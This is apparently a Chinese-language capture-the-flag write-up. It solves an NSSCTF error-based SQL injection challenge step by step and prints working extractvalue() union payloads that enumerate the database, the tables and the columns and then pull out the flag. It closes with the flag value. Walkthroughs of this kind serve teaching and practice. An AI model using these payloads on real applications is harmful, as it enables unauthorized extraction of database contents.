進入之後是一個搜尋框,裡面叫你傳一個id值,先看一看網頁程式碼,發現一端後端資料庫程式碼,說明是報錯注入
extractValue()報錯注入
先進行欄位判斷,使用 " 1' group by 1# " 來判斷
1' group by 1#
正常回顯
出錯回顯
說明有三個欄位,接著進行資料庫名的爆破
1' union select 1,extractvalue(1,concat('~',(select database()))),3#
發現test_db,繼續進行爆表
1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3#
出現test_tb,users表名,在test_tb表中繼續進行爆欄位名
1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3#
發現flag,檢視欄位內容
1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))#
?怎麼只有一半,是因為回顯不夠嗎,那我們自己設定一個回顯個數
1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,32) from test_tb)))#
因為我們第一次爆出的欄位內容為30個,所以我們從第31個欄位繼續顯示
兩段flag進行拼接就得到flag啦
NSSCTF{781ab938-3144-4bd4-962a-a3e32558afd5}